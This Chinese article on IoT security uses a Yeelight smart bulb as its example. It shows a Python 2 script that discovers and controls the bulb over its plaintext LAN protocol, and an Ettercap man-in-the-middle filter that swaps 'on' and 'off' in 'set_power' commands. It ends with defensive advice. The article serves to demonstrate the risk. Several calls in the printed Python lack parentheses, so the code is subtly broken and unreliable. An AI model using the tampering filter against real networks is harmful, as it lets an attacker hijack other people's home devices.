网络安全攻防:物联网安全攻防 |
您所在的位置:网站首页 › 物联网网络层的安全机制 › 网络安全攻防:物联网安全攻防 |
3. 应用层安全问题 应用层主要是指建立在物联网服务与支撑数据上的各种应用平台,如云计算、分布式系统、海量信息处理等,但是,这些支撑平台要建立起一个高效、可靠和可信的应用服务,需要建立相应的安全策略或相对独立的安全架构。典型的攻击技术包括软件漏洞攻击、病毒攻击、拒绝服务流攻击。 02智能家居安全控制攻击实例 智能家居是当前一个典型的物联网应用行业。下面以一款小米Wi-Fi智能灯泡为例,通过自主实验分析智能家居系统潜在的安全攻击隐患。 采用Yeelight LED智能灯泡,根据官网指示称,可以在其App中打开极客模式。官方也有相应的声明。 Yeelight第三方控制协议是针对技术爱好者推出的一项功能。Yeelight市面上在售的所有Wi-Fi照明设备(Yeelight白光灯泡Yeeilght彩光灯泡)以及后续推出的Wi-Fi产品都会支持该协议。基于这个协议,用户可以选择自己喜欢的语言和平台开发自己的应用程序以用来发现和控制Yeelight Wi-Fi设备。该协议采用了类似SSDP的发现机制和基于JSON的控制命令,开发者可以在同一个局域网下实现设备的发现和控制。需要注意的是,该协议是基于明文的传输,设备的安全性依赖于用户的路由器安全性,因此用户在使用该协议的时候,需要对自己的设备安全性负责。 1. SSDP协议 一种无需任何配置、管理和维护网络设备服务的机制。此协议采用基于通知和发现路由的多播发现方式实现。协议客户端在保留的多播地址239.255.255.250:1900(IPv4)发现服务,(IPv6地址是FF0x::C)同时每个设备服务也在此地址上监听服务发现请求。如果服务监听到的发现请求与此服务相匹配,此服务会使用单播方式响应。 常见的协议请求消息有两种类型,第一种是服务通知,设备和服务使用此类通知消息声明自己存在;第二种是查询请求,协议客户端用此请求查询某种类型的设备和服务。请求消息中包含设备的特定信息或某项服务的信息,例如设备类型、标识符和指向设备描述文档的URL地址。 Yeelight采用了类似的协议,发现查询过程如图1所示。 图1 查询过程 2. 自定义开发 用Python编写了发现控制脚本。核心代码如下。 def start(self): self.__send_search while True: #rlist,wlist,xlist reads,_,_=select.select([self.__s],[],[],5) if reads: data,addr=self.__s.recvfrom(2048) list_data=data.split('\r\n') IP="" PORT="" ID="" for item in list_data: temp=item.split(':') if temp[0]=="Location": print "IP:"+temp[2].replace("//","") print "PORT:"+temp[3] IP=temp[2].replace("//","") PORT=temp[3] if temp[0]=="id": print "ID"+temp[1] ID=temp[1] self.operate(IP,PORT,ID) break else: #timeout self.__send_search self.__s.close 控制的核心代码如下,可知是TCP明文进行操作的。 def operate(self,ip,port,id): print '='*30 port=int(port) # print type(port) try: self.__s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) except socket.error,msg: print 'Failed to create socket.Error code: '+str(msg[0])+' ,Error message : '+msg[1] sys.exit; print 'Socket Created' self.__s.connect((ip,port)) print "connected" #msg='{"id": 233,"method": "set_power","params":["on","smooth",1500]}\r\n' xx=0 while xx < 1000: #获得远程接口状态 try: url_data=urllib2.urlopen(JSON_ADDRESS).readline except Exception,e: print e # print url_data status=json.loads(url_data)['status'] print status # exit msg='{"id": '+str(time.time)+',"method": "set_power","params":["'+status+'","smooth", 100]}\r\n' print msg try: self.__s.sendall(msg) reply=self.__s.recv(4096) print reply except socket.error: print 'Send failed' sys.exit time.sleep(1) xx=xx+1 print "finished" self.__s.close 如果我们在局域网中采用中间人攻击的方式,来篡改TCP分组,则能实现控制反转,使用者发出开的指令,经过反转,Yeelight灯泡收到的是关闭指令。 采用Ettercap进行中间人攻击,核心的篡改代码如下。 if(ip.proto==TCP && tcp.dst==55443){ if(search(DATA.data,“set_power”)){ if(search(DATA.data,“off”)){ replace(“off”,“on”); } else{ replace(“on”,“off”); } } } 这样就能实现控制反转。在此提出这个例子,旨在提醒物联网中最常见的安全问题之一,保证数据在网络中传输不被篡改、窃听。 03物联网安全防御机制与手段 物联网产业即将进入爆发期,我国在物联网信息安全技术方面安全可控能力还比较弱。在传感器技术方面,我国还主要集中在低端传感器研究和产品开发,中高档传感器产业几乎100%从国外进口,芯片 90%以上依赖国外;在 RFID 技术方面,我国低频和高频技术相对成熟,但UHF和微波频段产品与国外技术相比差距较大;在M2M 等网络层技术方面,我国与国外基本同步,都处于研究阶段;在信息安全共性技术方面,我国已经开展了相关研究工作,但相对国外也存在较大的差距,如 RSA 已经推出用于 RFID 的安全认证和访问管理产品,国内信息安全企业还没有出现类似产品。在物联网的无线通信方面,我国正面临着信息安全挑战,需要尽快解决,一般企业直接使用加密等方式,但是相关规定并不健全,还需要政府出台相应的标准和规范。同时,也需要做好物联网信息安全顶层设计,加强物联网信息安全技术的研发,有效保障物联网的安全应用,遵循“同步规划、同步建设、同步运行”原则,才可以保障物联网走上持续发展之路。 目前,与金融、电子商务等其他行业相比,IoT安全性尚未得到充分理解和明确定义。开发一款IoT产品时,不论是像可穿戴设备这样的小型产品,还是像油田传感器网络或全球配送作业这样的大型IoT部署,从一开始就必须考虑到安全问题。要了解安全的问题所在,就需要了解IoT设备的攻击方法,通过研究攻击方法提高IoT产品的防御能力。 具体而言,除了传统的信息安全防护技术,可以从如下几个方面针对物联网加强安全防御。 代码加固。由于远程接入、操作等智能终端的代码小巧,容易被传播复用,因此首先需谨慎处理代码,可以建立代码的安全审查制度。其次,智能终端芯片或嵌入式模块往往缺乏安全保护容易被逆向分析,因此需加强代码加固手段,防止代码被破解、分析、植入等。 通信加密。射频、蓝牙等数据通信协议通常有各种版本的实现,开发人员为了最求快速部署,常常忽略通信加密,而导致数据分组被分析破解,因此,可以采用AES、SSL/TLS等标准化的加密算法或协议,或自行研制加密方案。 安全网关。智能家居等通常直接采用无线路由的接入方式,即支持多种物联网智能终端的快速接入,这样的接入设备最容易遭受黑客的劫持,因此需要研制部署物联网安全网关。 身份认证。随着物联网应用的普及,可能每个人都可能成为智能手环、可穿戴设备、智能钥匙等终端节点的持有者,建立既安全又便捷的统一身份认证体系变得越来越重要。生物识别、行为大数据分析、云端认证服务等有望解决物联网的安全认证问题。 漏洞共享。近年来爆发的视频摄像头远程控制和DDoS等物联网安全事件,很大程度上在于业界缺乏足够的安全意识和漏洞共享平台,因此建立完善的漏洞播报和安全快速响应机制,对物联网安全至关重要。 态势感知。可以预测到未来数以亿计的物联网设备将部署在我们的周围,因此跟踪监控这些设备,及时掌握设备运行的安全状态,将变得更加重要。目前已出现Shadon、ZoomEye等全球物联网设备搜索引擎,也将成为网络空间安全的一种常态化服务平台。 微信公众号:计算机与网络安全 ID:Computer-network返回搜狐,查看更多 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |